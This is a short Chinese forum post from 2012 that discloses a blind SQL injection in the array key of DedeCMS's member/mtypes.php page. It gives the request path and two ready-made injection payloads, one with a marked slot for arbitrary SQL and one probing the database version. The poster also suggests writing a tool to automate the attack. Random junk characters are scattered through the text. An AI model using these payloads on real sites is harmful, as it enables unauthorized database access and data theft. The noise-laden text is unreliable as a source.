需要magic_quotes_gpc = Off,所以说是鸡肋啊.' T, o" p8 l2 ?3 n
- N% ^- D( Y# j1 _( c. o5 d
! P0 L I0 ~ x$ a* h" C! O a; N发生在数组key里的注射漏洞,有点意思.0 g" Y6 i8 a* B
/ }! N: N u L1 U9 y7 Q; |3 I
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下* t# b4 L& \% J1 r+ C! l# y& O
/ s# ]4 r5 {0 m) P3 L1 o! Jhttp://www.xxx.com /dede/member/mtypes.php?dopost=save
- A" Q: c% ~9 f9 \8 g' G. A 7 x6 u) `; q. V* @6 m6 {9 s' P
exploit:
8 }. A4 \& n7 V1 ]/ J; M( omtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r. a. L: K! S2 X8 \
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
0 N8 }( C! ?# K! \$ I( R |
发表于 2012-12-20 08:08:09
收藏
支持
反对